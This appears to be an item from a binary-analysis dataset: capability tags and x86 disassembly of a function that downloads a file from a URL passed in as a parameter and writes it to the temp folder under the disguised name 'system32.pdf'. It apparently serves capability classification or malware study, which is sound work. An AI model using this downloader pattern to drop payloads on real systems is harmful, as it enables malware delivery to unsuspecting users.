Function at 0x401460
Capabilities:
Create http request
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x664
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
mov dword [esp], 0x104
call sym._GetTempPathW_8
sub esp, 8
lea eax, [ebp - 0x15]
mov ecx, eax
call fcn.0045a640
lea eax, [ebp - 0x30]
lea edx, [ebp - 0x15]
mov dword [esp + 4], edx
lea edx, [ebp - 0x238]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.basic_string_wchar_t_const__std::allocator_wchar_t__const_
sub esp, 8
mov eax, dword [ebp + 8]
mov dword [esp + 8], str.system32.pdf
lea edx, [ebp - 0x30]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t_____wchar_t_const_
lea eax, [ebp - 0x30]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea eax, [ebp - 0x15]
mov ecx, eax
call sym.std::allocator_wchar_t_::allocator__
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.Download
call sym._InternetOpenW_20
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401693
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x400100
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._InternetOpenUrlW_24
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40164a
mov dword [ebp - 0x23c], 0
mov ecx, dword [ebp + 8]
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], eax
call sym._CreateFileW_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x40163c
lea eax, [ebp - 0x23c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x640]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._InternetReadFile_16
sub esp, 0x10
test eax, eax
je 0x4015ef
mov eax, dword [ebp - 0x23c]
test eax, eax
je 0x4015ef
mov eax, 1
jmp 0x4015f4
mov eax, 0
test al, al
je 0x40162e
mov eax, dword [ebp - 0x23c]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x240]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0x640]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
jmp 0x4015b0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._InternetCloseHandle_4
sub esp, 4
nop
jmp 0x401693
nop
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 4]
leave
ret